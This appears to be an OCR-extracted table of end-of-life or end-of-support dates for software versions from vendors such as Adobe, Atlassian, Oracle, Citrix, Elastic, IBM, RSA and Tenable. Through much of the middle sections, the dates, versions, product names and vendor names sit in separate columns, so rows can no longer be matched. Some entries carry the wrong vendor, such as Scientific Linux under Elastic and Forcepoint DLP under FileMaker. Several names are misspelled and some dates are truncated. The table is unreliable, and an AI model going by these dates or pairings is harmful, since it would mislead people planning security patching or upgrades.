4/30/2020 AEM 6.4 Aem (CQ) All capabilities Adobe
4/30/2020 AEM 6.5 Aem (CQ) All capabilities Adobe
3/31/2022 7 Campaign Classic Adobe
8/20/2020 9 Captivate Adobe
4/13/2022 2017 Captivate Adobe
2/17/2021 2016 ColdFusion Adobe
201 2/17/2021 2016 ColdFusion Builder Adobe
10/14/2021 10 Connect 10 Adobe
12/31/2020 - Flash Adobe
5/1/2020 3.8x Alpine Linux Alpine Linux
11/1/2020 3.9x Alpine Linux Alpine Linux
1/5/2021 3.9.x 3.1 Alpine Linux Alpine Linux




5/1/2021 3.10.x Alpine Linux Alpine Linux
2/5/2021 6.8 Bamboo Atlassian
5/23/2021 6.9 Bamboo Atlassian
9/19/2021 6.1 Bamboo Atlassian
2/12/2021 6 Bitbucket Server Atlassian
3/5/2021 6.1 Bitbucket Server Atlassian
4/9/2021 6.2 Bitbucket Server Atlassian
5/14/2021 6.3 Bitbucket Server Atlassian
6/18/2021 6.4 Bitbucket Server Atlassian
7/24/2021 6.5 Bitbucket Server Atlassian
8/27/2021 6.6 Bitbucket Server Atlassian
10/1/2021 6.7 Bitbucket Server Atlassian
1/22/2021 6.14 Confluence Atlassian
3/14/2021 6.15 Confluence Atlassian
9/10/2021 7 Confluence Atlassian
3/13/2021 3.4 Crowd Atlassian
7/3/2021 3.5 Crowd Atlassian
9/3/2021 3.6 Crowd Atlassian
10/3/2021 3.7 Crowd Atlassian
2/14/2021 4.7 Crucible Crucible Atlassian
2/14/2021 4.7 Fisheye Atlassian

A ATLASSIAN




2/11/2021 Jira Atlassian
4/4/2021 8.1x Jira Atlassian
5/21/2021 8.2 Jira Atlassian
7/22/2021 8.3.x Jira Atlassian
9/9/2021 8.4.x Jira Jira Atlassian
10/21/2021 8.5.x Jira Atlassian
2/11/2021 4.0.x Jira Service Desk Atlassian
4/4/2021 4.1x Jira Service Desk Atlassian
5/21/2021 4.2.x Jira Service Desk Atlassian
7/22/2021 4.3.x Jira Service Desk Atlassian
9/9/2021 4.4x Jira Service Desk Atlassian
10/21/2021 4.5.x Jira Service Desk Atlassian
2/11/2021 8 Jira Software Atlassian
4/4/2021 8.1 Jira Software Atlassian
5/21/2021 8.2 Jira Software Atlassian
7/22/2021 8.3 Jira Software Atlassian
9/9/2021 8.4.x Jira Software Atlassian
10/21/2021 8.5 Jira Software Atlassian
5/3/2021 2.6 Ultimate Permission Manager Atlassian

A ATLASSIAN




4/1/2020 Application Express Oracle
5/1/2020 12.X Application Testing Suite Oracle
1/1/2021 12.1.6.2 Berkeley DB Oracle
6/1/2021 12.1.6.0 Berkeley DB Oracle
11/1/2021 2.x Big Data Spatial and Graph Oracle
3/1/2021 3x Big Data SQL Oracle
9/1/2021 1 Big Data SQL Oracle
12/1/2020 11.2 Database Oracle
6/1/2021 18c Database Oracle
7/1/2021 12.1 Database (Enterprise) Oracle
7/1/2021 12.1 Database (Standard Oracle
6/1/2021 12.1 Database Gateway Oracle
10/1/2020 11.2 Database Mobile Server Oracle
10/1/2020 11.3 Database Mobile Server Oracle
6/1/2021 12.5 Developer Studio Oracle
10/1/2020 12.1 Enterprise Manager Grid Control Oracle
10/1/2021 12.1 Exadata Storage Server Oracle
6/1/2021 41X Fail Safe Oracle
9/1/2020 13.x Java SE Oracle
3/31/2021 15.x JDK Oracle
3/1/2021 6 Linux Oracle
10/1/2021 7.5 MySQL CLuster Oracle
2/1/2021 5.6 MySQL Database Oracle
11/1/2020 11.2.2 NoSQL Oracle
6/1/2021 12.1.2 NoSQL Oracle
3/1/2022 12.1.3 NoSQL Oracle
9/1/2021 7.3 Rdb and Oracle CODASYL Database Oracle
6/1/2020 3 REST Data Services Oracle
5/1/2020 4.1 SQL Developer Oracle

5/1/202 4.1 SQL Developer Data Modeler Oracle
1/1/2022 11.2.2 TimesTen Application-Tier Database Oracle
1/1/2021 11.2.2 TimesTen In-Memory Database Oracle
5/1/2021 18.1 TimesTen In-Memory Database Oracle
1/1/2022 11.2.2 TimesTen In-Memory Database Oracle
3/1/2021 3 VM Oracle
7/1/2020 5X VM VirtualBox Oracle




4/1/2021
11/30/2020
1/1/2021
1/1/2021
1/1/2021
11/20/2021
5/15/2021
5/15/2021
4/8/2021
5/6/2021
2/27/2021
3/30/2021
2/8/2021
5/7/2021
2/12/2021
5/17/2021
1/11/2021
1/11/2021
4/1/2020
10/1/2020
4/1/2021
10/1/2021
6/30/2020
6/30/2020
1/1/2022
4/1/2021
12/2/2017

16.04 LTS Ubuntu
6.X CentOS
80.81-81.10 Endpoint Security Client
80.81-81.10 Enpoint Security VPN
80.61-81.10 SandBlast Agent
7500 Command Center Hardware
13 NetScaler Firmware
13 NetScaler Gateway Firmware
19.1 ShareFile Citrix Files for Mac
19.11 ShareFile Citrix Files for Mac
6.5 ShareFile Citrix Files for Outlook
19.9 ShareFile Citrix Files for Windows
5.8 ShareFile Storagezone Controller
5.9 ShareFile Storagezone Controller
19.8 SharFile Citrix Files for Mac
13 Software Delivery Management
7.6 XenApp
7.6 XenDesktop
21 WinZip
21.5 WinZip
22 WinZip
22.5 WinZip
8 Debian
8 LTS Debian
9 Debian
3.0x Django
L.11.x Django

CITRIX

Canonical
CentOS
Checkpoint
Checkpoint
Checkpoint
Citrix
Citrix
Citrix
Citrix
Citrix
Citrix
Citrix
Citrix
Citrix
Citrix
Citrix
Citrix
Citrix
Corel
Corel
Corel
Corel
Debian
Debian
Debian
Django Project

Django Software




7/21/2021 Docker Enterprise Docker
7/21/2021 19.03 Docker Enterprise Engine Docker
7/21/2021 2.7x Docker Trusted Registry Docker
7/21/2021 3.2.x Universal Control Plane Docker
5/14/2020 6.5.x APM Server Elastic
7/29/2020 6.6.x APM Server Elastic
9/26/2020 6.7.x APM Server Elastic
10/10/2020 7.0.x APM Server Elastic
11/20/2020 7.1x APM Server Elastic
11/21/2020 6.8.x APM Server Elastic
12/25/2020 7.2.x APM Server Elastic
1/31/2021 7.3.x APM Server Elastic
5/14/2020 6.5.x Beats Elastic
7/29/2020 6.6.x Beats Elastic
9/26/2020 6.7.x Beats Elastic
10/10/2020 7.0.x Beats Elastic
11/20/2020 6.8.x Beats Elastic
11/20/2020 7.1x Beats Elastic
12/25/2020 7.2.x Beats Elastic
1/31/2021 7.3.x Beats Elastic
7/29/2020 2.1x Elastic Cloud Enterprise Elastic
10/10/2020 22x Elastic Cloud Enterprise Elastic
1/25/2021 2.3x Elastic Cloud Enterprise Elastic
5/14/2020 6.5.x Elasticsearch Elastic
7/29/2020 6.6.x Elasticsearch Elastic
9/26/2020 6.7.x Elasticsearch Elastic
10/10/2020 7.0.x Elasticsearch Elastic
11/20/2020 6.8.x Elasticsearch Elastic
11/20/2020 7.1x Elasticsearch Elastic
12/25/2020 7.2.x Elasticsearch Elastic
1/31/2021 7.3.x Elasticsearch Elastic




5/14/2020 6.5.x Kibana Elastic
7/29/2020 6.6.x Kibana Elastic
9/26/2020 6.7.x Kibana Elastic
10/10/2020 7.0.x Kibana Elastic
11/20/2020 6.8.x Kibana Elastic
11/20/2020 7.1x Kibana Elastic
12/25/2020 7.2.X Kibana Elastic
1/31/2021 7.3x Kibana Elastic
5/14/2020 6.5.x Logstash Elastic
7/29/2020 6.6.x Logstash Elastic
9/26/2020 6.7.x Logstash Elastic
10/10/2020 7.0.x Logstash Elastic
11/20/2020 6.8.x Logstash Elastic
11/20/2020 7.1x Logstash Elastic
12/25/2020 7.2.x Logstash Elastic
1/31/2021 7.3.x Logstash Elastic
11/30/2020 6.X Scientific Linux Elastic
9/18/2020 16.x FileMaker Platform FemilLab
6/1/2021 8.6 DLP Cloud Applications FileMaker
12/1/2021 8.7 DLP Cloud Applications Forcepoint
6/1/2021 8.6 DLP Discover Forcepoint
12/1/202 8.7 DLP Discover Forcepoint
6/1/2021 8.6 DLP Endpoint Forcepoint
12/1/2021 8.7 DLP Endpoint Forcepoint
6/1/2021 8.6 DLP Network Forcepoint
12/1/2021 8.7 DLP Network Forcepoint
9/30/2021 11.X FreeBSD FreeBSD

elastic




4/30/2020
4/30/2020
4/30/2020
4/30/2020
4/30/2020
4/30/2020
4/30/2020
9/30/2020
1/12/2021
1/13/2021
4/30/2020
4/30/2020
4/30/2020
7/31/2020
9/30/2020
6/30/2021
6/30/2021
6/30/2021
6/30/2021
6/30/2021
6/30/2021
6/30/2021
9/30/2021
4/30/2020
1/15/2022
4/30/2020
4/11/2020
10/17/2020
1/11/2021
1/11/2021
1/11/2021
6/1/2021

8.7.0
8.6.0
8.5.0
8.7.0
8.6.0
8.5.0
4.2.0
4.3.0
4.0x
3.0.x
8.7.0
8.6.0
8.5.0
7.1.x
1.1.0
6.6.x
6.5.x
7.0.x
7.0.x
7.0.x
7.0.x
7.0.x
11.4.x
23.0.x
7.1.0-8.2.0
3.16
55x
10.1.x
7.6.4.X
7.1.0
All
1.31.X

IBM Banking Data Warehouse
IBM Banking Data Warehouse
IBM Banking Data Warehouse
IBM Banking Industry Models
IBM Banking Industry Models
IBM Banking Industry Models
IBM Cloud Manager with Openstack
IBM Cloud Manager with Openstack
IBM Concert on Cloud
IBM Concert on Cloud
IBM Financial Markets Warehouse
IBM Financial Markets Warehouse
IBM Financial Markets Warehouse
IBM Security QRadar Appliance xx24
Platform Application Service
Rational Focal Point
Rational Focal Point
Rational Purify for Linux and UNIX
Rational Purify for Windows
Rational PurifyPlus Enterprise
Rational PurifyPlus for Linux
Rational PurifyPlus for Windows
Rational System Architect
SPSS Statistics Developer
WebSphere Multichannel
Kernel
MariaDB
MariaDB
Email Gateway
Quarantine Manager
SaaS Email Protection

MediaWiki

IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
IBM
Linux
MariaDB
MariaDB
McAfee
McAfee
McAfee
MediaWiki




2/11/2021

11/11/2021

9/13/2020

12/23/2021

9/30/2021

4/1/2020

11/30/2020

11/30/2020

10/31/2020

4/30/2021

10/31/2021

6/30/2021

4/30/2020

2/28/2021

10/31/2021

3/31/2021

11/30/2021

12/31/2020

12/31/2021

6/30/2020

12/31/2021

7/31/2020

12/31/2020

2/28/2022

9/30/2021

5/31/2021

9.5
9.6
3.5
3.6
7.7
1x
6.X
7.3
6.3
6.4
6.5
2
8.2 SP1

8.3

Isilon

8.1

1.x
8.6
4.2.1
6.2
6.3
6.5
7.4

6.4

PostgreSQL
PostgreSQL
Python
Python
Enterprise Linux
JBoss Web Server
RHEL
RHEL for SAP Solutions
Archer Suite
Archer Suite
Archer Suite
Authentication for Active Directory
Authentication Manager Appliance
Authentication Manager Appliance
NetWitness Appliance
Netwitness Storage Appliance
Pluggable Authenticaion Module
Pluggable Authentication Module
SecurelD Authenitcation API
SecurID Authentication API for C
SecurID Software Token for Mac OS
Web Threat Detection
Web Threat Detection
Web Threat Detection
Authentication Agent for Windows

Web Threat Detection

PostgreSQL
PostgreSQL
Python
Python
RedHat
RedHat
RedHat
RedHat
RSA
RSA
RSA
RSA
RSA
RSA
RSA
RSA
RSA
RSA
RSA
RSA
RSA
RSA
RSA
RSA
RSA

RSA




10/7/2020 7.5-7.6.X Altiris Symantec
5/1/2021 7.7+ Veritas NetBackup Server Symantec
8/30/2020 5.5 Laravel Taylor Otwell
4/30/2021 1.4.x Industrial Security Tenable
4/30/2021 1.5x Industrial Security Tenable
4/30/2021 8.3.x Nessus Tenable
4/30/2021 8.4.x Nessus Tenable
4/30/2021 1.3x Nessus Tenable
4/30/2021 8.2.x Nessus Tenable
4/30/2021 8.1x Nessus Tenable
4/30/2021 8.0.x Nessus Tenable
4/30/2021 8.6.x Nessus Tenable
4/30/2021 8.5.x Nessus Tenable
4/30/2021 8.7.x Nessus Tenable
7/30/2021 8.9.x Nessus Tenable
4/30/2021 7.4x Nessus Agent Tenable
4/30/2021 5.9.x Nessus Network Monitor Tenable
4/30/2021 5.6.x Nessus Network Monitor Tenable
4/30/2021 5.10.x Nessus Network Monitor Tenable
4/30/2021 5.12.x Tenable.sc Tenable
4/30/2021 5.10.x Tenable.sc Tenable
4/30/2021 5.9.x Tenable.sc Tenable
6/3/2020 8.7x Drupal The Durpal
10/31/2021 7.X Drupal The Durpal
12/6/2021 7.3 PHP The PHP Group
11/30/2020 7.2 PHP The PHP Group
12/6/2020 7.3 PHP The PHP Group
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